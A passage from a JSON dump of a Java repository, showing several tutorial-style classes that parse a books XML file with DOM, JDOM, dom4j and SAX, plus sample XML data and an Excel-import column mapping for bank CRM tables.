child.getStringValue();\n\t\t\t\t\t\tbook.setName(name);\n\t\t\t\t\t}else if(nodeName.equals(\"author\")){\n\t\t\t\t\t\tString author = child.getStringValue();\n\t\t\t\t\t\tbook.setAuthor(author);\n\t\t\t\t\t}else if(nodeName.equals(\"year\")){\n\t\t\t\t\t\tString year = child.getStringValue();\n\t\t\t\t\t\tbook.setYear(Integer.parseInt(year));\n\t\t\t\t\t}else if(nodeName.equals(\"price\")){\n\t\t\t\t\t\tString price = child.getStringValue();\n\t\t\t\t\t\tbook.setPrice(Double.parseDouble(price));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbookList.add(book);\n\t\t\t\tbook = null;\n\t\t\t\t\n\t\t\t}\n\t\t} catch (DocumentException e) {\n\t\t\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t\t\n\t\treturn bookList;\n\t\t\n\t}\n\t\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\tFile file = new File(\"src/res/books.xml\");\n\t\tList<Book> bookList = new ReadXMLByDom4j().getBooks(file);\n\t\tfor(Book book : bookList){\n\t\t\tSystem.out.println(book);\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/readxml/readxmlUtils/ReadXMLByJDom.java",
    "content": "package com.jun.plugin.xml.readxml.readxmlUtils;\n\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport org.jdom2.JDOMException;\nimport org.jdom2.input.SAXBuilder;\n\nimport com.jun.plugin.xml.readxml.bean.Book;\n\nimport org.jdom2.*;\n\n/**\n * 用JDOM方式读取xml文件\n * @author lune\n */\npublic class ReadXMLByJDom {\n\t\n\tprivate List<Book> books = null;\n\tprivate Book book = null;\n\t\n\tpublic List<Book> getBooks(String fileName){\n\t\tSAXBuilder saxBuilder = new SAXBuilder();\n\t\ttry {\n\t\t\tDocument document = saxBuilder.build(new FileInputStream(fileName));\n\t\t\t//获取根节点bookstore\n\t\t\tElement rootElement = document.getRootElement();\n\t\t\t//获取根节点的子节点，返回子节点的数组\n\t\t\tList<Element> bookList = rootElement.getChildren();\n\t\t\tbooks = new ArrayList<Book>();\n\t\t\tfor(Element bookElement : bookList){\n\t\t\t\tbook = new Book();\n\t\t\t\t//获取bookElement的属性\n\t\t\t\tList<Attribute> bookAttributes = bookElement.getAttributes();\n\t\t\t\tfor(Attribute attribute : bookAttributes){\n\t\t\t\t\tif(attribute.getName().equals(\"id\")){\n\t\t\t\t\t\tString id = attribute.getValue(); //System.out.println(id);\n\t\t\t\t\t\tbook.setId(Integer.parseInt(id));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//获取bookElement的子节点\n\t\t\t\tList<Element> children = bookElement.getChildren();\n\t\t\t\tfor(Element child : children){\n\t\t\t\t\tif(child.getName().equals(\"name\")){\n\t\t\t\t\t\tString name = child.getValue();//System.out.println(name);\n\t\t\t\t\t\tbook.setName(name);\n\t\t\t\t\t}else if(child.getName().equals(\"author\")){\n\t\t\t\t\t\tString author = child.getValue();\n\t\t\t\t\t\tbook.setAuthor(author);//System.out.println(author);\n\t\t\t\t\t}else if(child.getName().equals(\"year\")){\n\t\t\t\t\t\tString year = child.getValue();\n\t\t\t\t\t\tbook.setYear(Integer.parseInt(year));\n\t\t\t\t\t}else if(child.getName().equals(\"price\")){\n\t\t\t\t\t\tString price = child.getValue();\n\t\t\t\t\t\tbook.setPrice(Double.parseDouble(price));\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tbooks.add(book);\n\t\t\t\tbook = null;\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t} catch (FileNotFoundException e) {\n\t\t\t\n\t\t\te.printStackTrace();\n\t\t} catch (JDOMException e) {\n\t\t\t\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\t\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t\treturn books;\n\t\t\n\t}\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\t\tString fileName = \"src/res/books.xml\";\n\t\tList<Book> books= new ReadXMLByJDom().getBooks(fileName);\n\t\tfor(Book book : books){\n\t\t\tSystem.out.println(book);\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/readxml/readxmlUtils/ReadXmlBySAX.java",
    "content": "package com.jun.plugin.xml.readxml.readxmlUtils;\n\nimport java.io.IOException;\nimport java.util.List;\n\nimport javax.xml.parsers.ParserConfigurationException;\nimport javax.xml.parsers.SAXParser;\nimport javax.xml.parsers.SAXParserFactory;\n\nimport org.xml.sax.SAXException;\nimport org.xml.sax.helpers.ParserFactory;\n\nimport com.jun.plugin.xml.readxml.bean.Book;\nimport com.jun.plugin.xml.readxml.handler.SAXParseHandler;\n\n/**\n * 用SAX方式读取xml文件\n * @author lune\n */\npublic class ReadXmlBySAX {\n\n\tprivate static List<Book> books = null;\n\t\n\tprivate  SAXParserFactory sParserFactory = null;\n\tprivate  SAXParser parser = null;\n\t\n\t\n\tpublic List<Book> getBooks(String fileName) throws Exception{\n\t\tSAXParserFactory sParserFactory = SAXParserFactory.newInstance();\n\t\tSAXParser parser = sParserFactory.newSAXParser();\n\t\t\n\t\tSAXParseHandler handler = new SAXParseHandler();\n\t\tparser.parse(fileName, handler);\n\t\t\n\t\treturn handler.getBooks();\n\t\t\n\t}\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\tbooks = new ReadXmlBySAX().getBooks(\"src/res/books.xml\");\n\t\t\tfor(Book book:books){\n\t\t\t\tSystem.out.println(book);\n\t\t\t}\n\t\t\t\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/readxml/readxmlUtils/ReadxmlByDom.java",
    "content": "package com.jun.plugin.xml.readxml.readxmlUtils;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport javax.xml.parsers.DocumentBuilder;\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\n\nimport org.w3c.dom.Document;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.NodeList;\nimport org.xml.sax.SAXException;\n\nimport com.jun.plugin.xml.readxml.bean.Book;\n\n/**\n * 用DOM方式读取xml文件\n * @author lune\n */\npublic class ReadxmlByDom {\n\tprivate static DocumentBuilderFactory dbFactory = null;\n\tprivate static DocumentBuilder db = null;\n\tprivate static Document document = null;\n\tprivate static List<Book> books = null;\n\tstatic{\n\t\ttry {\n\t\t\tdbFactory = DocumentBuilderFactory.newInstance();\n\t\t\tdb = dbFactory.newDocumentBuilder();\n\t\t} catch (ParserConfigurationException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\tpublic static List<Book> getBooks(String fileName) throws Exception{\n\t\t//将给定 URI 的内容解析为一个 XML 文档,并返回Document对象\n\t\tdocument = db.parse(fileName);\n\t\t//按文档顺序返回包含在文档中且具有给定标记名称的所有 Element 的 NodeList\n\t\tNodeList bookList = document.getElementsByTagName(\"book\");\n\t\tbooks = new ArrayList<Book>();\n\t\t//遍历books\n\t\tfor(int i=0;i<bookList.getLength();i++){\n\t\t\tBook book = new Book();\n\t\t\t//获取第i个book结点\n\t\t\torg.w3c.dom.Node node = bookList.item(i);\n\t\t\t//获取第i个book的所有属性\n\t\t\tNamedNodeMap namedNodeMap = node.getAttributes();\n\t\t\t//获取已知名为id的属性值\n\t\t\tString id = namedNodeMap.getNamedItem(\"id\").getTextContent();//System.out.println(id);\n\t\t\tbook.setId(Integer.parseInt(id));\n\t\t\t\n\t\t\t//获取book结点的子节点,包含了Test类型的换行\n\t\t\tNodeList cList = node.getChildNodes();//System.out.println(cList.getLength());9\n\t\t\t\n\t\t\t//将一个book里面的属性加入数组\n\t\t\tArrayList<String> contents = new ArrayList<>();\n\t\t\tfor(int j=1;j<cList.getLength();j+=2){\n\t\t\t\t\n\t\t\t\torg.w3c.dom.Node cNode = cList.item(j);\n\t\t\t\tString content = cNode.getFirstChild().getTextContent();\n\t\t\t\tcontents.add(content);\n\t\t\t\t//System.out.println(contents);\n\t\t\t}\n\t\t\t\n\t\t\tbook.setName(contents.get(0));\n\t\t\tbook.setAuthor(contents.get(1));\n\t\t\tbook.setYear(Integer.parseInt(contents.get(2)));\n\t\t\tbook.setPrice(Double.parseDouble(contents.get(3)));\n\t\t\tbooks.add(book);\n\t\t}\n\t\t\n\t\treturn books;\n\t\t\n\t}\n\t\n\tpublic static void main(String args[]){\n\t\tString fileName = \"src/res/books.xml\";\n\t\ttry {\n\t\t\tList<Book> list = ReadxmlByDom.getBooks(fileName);\n\t\t\tfor(Book book :list){\n\t\t\t\tSystem.out.println(book);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/student.xml",
    "content": "<?xml version=\"1.0\" encoding=\"gbk\"?>\n\n<Record>\n  <Head>\n    <Code>SD1101</Code>\n    <Exam>c1</Exam>\n  </Head>\n  <Body>\n    <CourseList>\n      <CourseCode>b1</CourseCode>\n      <Student>\n        <StudentName score=\"23\">a1</StudentName>\n        <StudentName score=\"87\">a2</StudentName>\n        <StudentName score=\"33\">a3</StudentName>\n        <StudentName score=\"33\">a4</StudentName>\n        <StudentName score=\"57\">aaaaa5</StudentName>\n      </Student>\n    </CourseList>\n    <CourseList>\n      <CourseCode>b2</CourseCode>\n      <Student>\n        <StudentName score=\"81\">a1</StudentName>\n        <StudentName score=\"52\">a2</StudentName>\n        <StudentName score=\"63\">a3</StudentName>\n        <StudentName score=\"89\">a4</StudentName>\n        <StudentName score=\"71\">aaaaa5</StudentName>\n      </Student>\n    </CourseList>\n    <CourseList>\n      <CourseCode>b3</CourseCode>\n      <Student>\n        <StudentName score=\"35\">a1</StudentName>\n        <StudentName score=\"42\">a2</StudentName>\n        <StudentName score=\"56\">a3</StudentName>\n        <StudentName score=\"83\">a4</StudentName>\n        <StudentName score=\"27\">aaaaa5</StudentName>\n      </Student>\n    </CourseList>\n    <CourseList>\n      <CourseCode>b4</CourseCode>\n      <Student>\n        <StudentName score=\"49\">a1</StudentName>\n        <StudentName score=\"14\">a2</StudentName>\n        <StudentName score=\"9\">a3</StudentName>\n        <StudentName score=\"89\">a4</StudentName>\n        <StudentName score=\"58\">aaaaa5</StudentName>\n      </Student>\n    </CourseList>\n  </Body>\n</Record>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/text/HelloWorld.java",
    "content": "package com.jun.plugin.xml.text;\n\nimport com.jun.plugin.xml.domain.Book;\n\npublic class HelloWorld {\n\t\n\tpublic String value(Book book){\n\t\treturn book.getId() + \":\" + book.getTitle();\n\t}\n\t\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/java/com/jun/plugin/xml/text/TestHelloWorld.java",
    "content": "package com.jun.plugin.xml.text;\n\nimport com.jun.plugin.xml.domain.Book;\n\npublic class TestHelloWorld {\n\t\n\tpublic static void main(String[] args) {\n\t\t\n\t\tHelloWorld h = new HelloWorld();\n\t\t\n\t\tBook book = new Book();  //反射\n\t\tbook.setId(\"b001\");\n\t\tbook.setTitle(\"Java Core\");\n\t\t//book.setBookPrice(\"98\");\n\t\t\n\t\tBook book2 = new Book(\"b002\",\"Thinking in java\",\"78\");\n\t\t\n\t\tSystem.out.println(book2);\n\t\t\n\t\tString s = h.value(book);\n\t\tSystem.out.println(s);\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/main/resources/ExcelImportDefine.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>  \n<root>\n    <!-- \n        tradeCode:交易码， 用以确定每一个业务逻辑模块唯一的导入交易。\n        tableName：表名，后台物理表中用以存储导入数据的临时表名。\n        valiClass：数据从临时表到实际业务表的逻辑实现类名，该类实现com.yuchengtech.bob.importimpl.ImportInterface接口。如不填写，则默认为com.yuchengtech.bob.importimpl.DefaultImpl类.\n        sheetStartIndex:导入EXCEL文件中，导入数据的起始页签,默认为0。\n        creatorColumn=临时表中“创建人”的列名，该列不在column中配置。\n        creatOrgColumn=临时表中“创建机构”的列名，该列不在column中配置。\n        creatDateColumn=临时表中“创建日期”的列名，该列不在column中配置。\n                                    列定义：\n                name：中文名称；\n                columnIndex:该列对应数据在导入的EXCEL sheet中所出列数（从0开始计数）。\n                fieldCode：该列数据对应的临时表中的列名。\n                isPk:是否主键，主键生成策略：IMP_+导入批次号_+sheet页号_+数据行号.主键请在物理表中定义为varchar2类型,且长度在30以上。\n                type:数据类型。目前主要使用3中数据类型校验，“NUMBER”,\"VARCHAR2\",\"DATE\"类型，默认按VARCHAR2类型处理。\n                length:数据长度,默认为0。\n                precial:数据精度，默认为0。\n                isNull：可否为空，默认为false。\n                                    数据处理策略：\n                                           数字类型：超出长度精度部分，整数部分截取右边，小数部分截取左边。isNull=\"false\"，且数据为空时，取0,长度为0，则不处理.\n                                           字符串类型：查出长度部分，截取右边，长度为0，则不处理。\n                                          日期数据：对于不合法数据，置空，如不可为空，则置为当前时间，长度为0，则不处理。\n     -->\n    <trade tradeCode=\"ImportTest\" tableName=\"A_IMPORT_TEST\" valiClass=\"\" sheetStartIndex=\"1\" creatorColumn=\"CREATOR\" creatOrgColumn=\"CREATORORG\" creatDateColumn=\"CREATORDATE\">\n        <column name=\"主键\" columnIndex=\"2\" fieldCode=\"IDPK\" isPK=\"true\" type=\"VARCHAR2\" length=\"\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"var数据\" columnIndex=\"3\" fieldCode=\"DATAVAR\" isPK=\"false\" type=\"VARCHAR2\" length=\"10\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"num数据\" columnIndex=\"4\" fieldCode=\"DATANUM\" isPK=\"false\" type=\"NUMBER\" length=\"\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"日期数据\" columnIndex=\"5\" fieldCode=\"DATADATE\" isPK=\"false\" type=\"DATE\" length=\"\" precial=\"\" isNull=\"true\"></column>\n   \t</trade>\n   \t<trade tradeCode=\"MktIndexImportTemp\" tableName=\"OCRM_F_CI_P_PROBUY_INFO\" valiClass=\"\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t    <column name=\"客户号\" columnIndex=\"1\" fieldCode=\"CUST_ID\" isPK=\"false\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"客户名称\" columnIndex=\"2\" fieldCode=\"CUST_NAME\" isPK=\"false\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"证件类型\" columnIndex=\"3\" fieldCode=\"CERT_TYPE\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"证件号码\" columnIndex=\"4\" fieldCode=\"CERT_NUM\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买产品编号\" columnIndex=\"5\" fieldCode=\"PRODUCT_NO\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买产品名称\" columnIndex=\"6\" fieldCode=\"PRODUCT_NAME\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"购买金额\" columnIndex=\"7\" fieldCode=\"BUY_AMT\" isPK=\"false\" type=\"NUMBER\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"添加日期\" columnIndex=\"8\" fieldCode=\"OPP_DATE\" isPK=\"false\" type=\"DATE\" length=\"\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"添加理由\" columnIndex=\"9\" fieldCode=\"OPP_REASON\" isPK=\"false\" type=\"VARCHAR2\" length=\"100\" precial=\"\" isNull=\"true\"></column>\n        <column name=\"操作类型\"  columnIndex=\"10\" fieldCode=\"OPP_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"操作人\"  columnIndex=\"11\"  fieldCode=\"OPP_USER\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t<trade tradeCode=\"MktIndexImportTemp1\" tableName=\"OCRM_F_CI_P_PROBUY_INFO_TEMP\" valiClass=\"com.yuchengtech.bob.action.ProbuyImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"ID\" columnIndex=\"0\" fieldCode=\"ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"32\" precial=\"\" isNull=\"false\"></column>\n   \t    <column name=\"客户号\"  columnIndex=\"1\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"32\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"32\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"3\"  fieldCode=\"CERT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"4\"  fieldCode=\"CERT_NUM\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买产品编号\"  columnIndex=\"5\"  fieldCode=\"PRODUCT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买产品名称\"  columnIndex=\"6\"  fieldCode=\"PRODUCT_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"购买金额\"  columnIndex=\"7\"  fieldCode=\"BUY_AMT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"删除日期\"  columnIndex=\"8\"  fieldCode=\"OPP_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"删除理由\"  columnIndex=\"9\"  fieldCode=\"OPP_REASON\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"操作类型\"   columnIndex=\"10\"  fieldCode=\"OPP_TYPE\"   isPK=\"false\"   type=\"VARCHAR2\"   length=\"100\"   precial=\"\"   isNull=\"true\"></column>\n        <column name=\"操作人\"   columnIndex=\"11\"   fieldCode=\"OPP_USER\"   isPK=\"false\"   type=\"VARCHAR2\"   length=\"100\"   precial=\"\"   isNull=\"true\"></column>\n   \t</trade>\n   \n    <!--证件号码导入（客户群）-->\n    <trade tradeCode=\"importantGroupCust\" tableName=\"OCRM_F_GROUP_TEMP\" valiClass=\"\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"序号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"证件类型\"  columnIndex=\"1\"  fieldCode=\"CERT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"12\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"证件号码\"  columnIndex=\"2\"  fieldCode=\"CERT_NUM\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n   \t<!--贵宾卡增值服务参数导入-->\n    <trade tradeCode=\"importVipCardAddServiceParamt\" tableName=\"OCRM_F_CI_VIPADDPARAM_TEMP\" valiClass=\"com.yuchengtech.bob.action.VipAddServiceParamImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"编号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"贵宾卡级别\"  columnIndex=\"1\"  fieldCode=\"VIP_CARD_LEVEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"提供商\"  columnIndex=\"2\"  fieldCode=\"PROVIDER_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务名称\"  columnIndex=\"3\"  fieldCode=\"ADD_SERVICE_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务标识\"  columnIndex=\"4\"  fieldCode=\"ADD_SERVICE_IDENTIFY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"适用范围\"  columnIndex=\"5\"  fieldCode=\"RANGE_APPLY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务内容\"  columnIndex=\"6\"  fieldCode=\"SERVICE_CONTENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"200\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"备注\"  columnIndex=\"7\"  fieldCode=\"REMARK\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n    <!--贵宾卡增值服务享受记录导入-->\n    <trade tradeCode=\"importVipEnjoyServiceRecord\" tableName=\"OCRM_F_CI_VIPADDPARAM_TEMP\" valiClass=\"com.yuchengtech.bob.action.VipEnjoyServiceRecordImport\" sheetStartIndex=\"0\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t  <column name=\"编号\"  columnIndex=\"0\"  fieldCode=\"ID\"  isPK=\"true\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"客户号\"  columnIndex=\"1\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"客户名称\"  columnIndex=\"2\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"联盟商代码\"  columnIndex=\"3\"  fieldCode=\"ALIANCE_PROGRAM_ID\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"联盟商名称\"  columnIndex=\"4\"  fieldCode=\"ALIANCE_PROGRAM_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"100\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务标识\"  columnIndex=\"5\"  fieldCode=\"ADD_SERVICE_IDENTIFY\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"增值服务内容\"  columnIndex=\"6\"  fieldCode=\"SERVICE_CONTENT\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"200\"  precial=\"\"  isNull=\"true\"></column>\n      <column name=\"享受服务日期\"  columnIndex=\"7\"  fieldCode=\"ENJOY_SERVICE_DATE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n   \t</trade>\n   \t\n    <!--潜在客户导入-->\n\t   <!--潜在客户导入-->\n\t<trade tradeCode=\"importLantentCustInfo\" tableName=\"ACRM_F_CI_CUSTOMER_TEMP\" valiClass=\"com.yuchengtech.crm.customer.action.LantentCustomerImport\" sheetStartIndex=\"1\" creatorColumn=\"\" creatOrgColumn=\"\" creatDateColumn=\"\">\n   \t    <column name=\"序号\" columnIndex=\"0\" fieldCode=\"CUST_ID\" isPK=\"true\" type=\"VARCHAR2\" length=\"27\" precial=\"\" isNull=\"false\"></column>\n        <column name=\"客户名称\"  columnIndex=\"1\"  fieldCode=\"CUST_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"客户类别\"  columnIndex=\"2\"  fieldCode=\"CUST_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件类型\"  columnIndex=\"3\"  fieldCode=\"IDENT_TYPE\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"证件号码\"  columnIndex=\"4\"  fieldCode=\"IDENT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"联系人\"  columnIndex=\"6\"  fieldCode=\"LINKMAN_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"30\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"联系手机\"  columnIndex=\"9\"  fieldCode=\"LINKMAN_TEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n<!--         <column name=\"座机号\"  columnIndex=\"6\"  fieldCode=\"TELEPHONE_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column> -->\n<!--         <column name=\"联系地址\"  columnIndex=\"7\"  fieldCode=\"COMMU_ADDR\"  isPK=\"false\"   type=\"VARCHAR2\"   length=\"200\"   precial=\"\"   isNull=\"true\"></column> -->\n<!--         <column name=\"电话区域\"  columnIndex=\"8\"  fieldCode=\"PHONE_AREA\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column> -->\n<!--         <column name=\"邮编号码\"  columnIndex=\"10\"  fieldCode=\"PORT_NO\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column> -->\n \t\t<column name=\"其他名称\"  columnIndex=\"11\"  fieldCode=\"SHORT_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n  \t\t<column name=\"英文名称\"  columnIndex=\"12\"  fieldCode=\"EN_NAME\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n  \t\t<column name=\"客户来源渠道\"  columnIndex=\"13\"  fieldCode=\"SOURCE_CHANNEL\"  isPK=\"false\"  type=\"VARCHAR2\"  length=\"10\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n    <!--贵金属AUM导入-->\n\t<trade tradeCode=\"nobelMetalImportInfo\" tableName=\"A_AC_CUST_ASSET_AUM_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.NobelMetalImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"AUM\"  columnIndex=\"1\"  fieldCode=\"AUM\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   <!--保险中间业务导入-->\n\t<trade tradeCode=\"insuranceImportInfo\" tableName=\"A_AC_CUST_BAOX_INPUT_TMP\" valiClass=\"com.yuchengtech.bob.action.InsuranceImport\" sheetStartIndex=\"0\" creatorColumn=\"INPUT_USER\" creatOrgColumn=\"\" creatDateColumn=\"INPUT_DATE\">\n        <column name=\"客户号\"  columnIndex=\"0\"  fieldCode=\"CUST_ID\"  isPK=\"false\"  type=\"VARCHAR\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"趸缴或期缴金额\"  columnIndex=\"1\"  fieldCode=\"BAOX_AMT\"  isPK=\"false\"  type=\"NUMBER\"  length=\"20\"  precial=\"\"  isNull=\"true\"></column>\n        <column name=\"数据日期\"  columnIndex=\"2\"  fieldCode=\"DATA_DATE\"  isPK=\"false\"  type=\"DATE\"  length=\"50\"  precial=\"\"  isNull=\"true\"></column>\n   </trade>\n   \n   \n   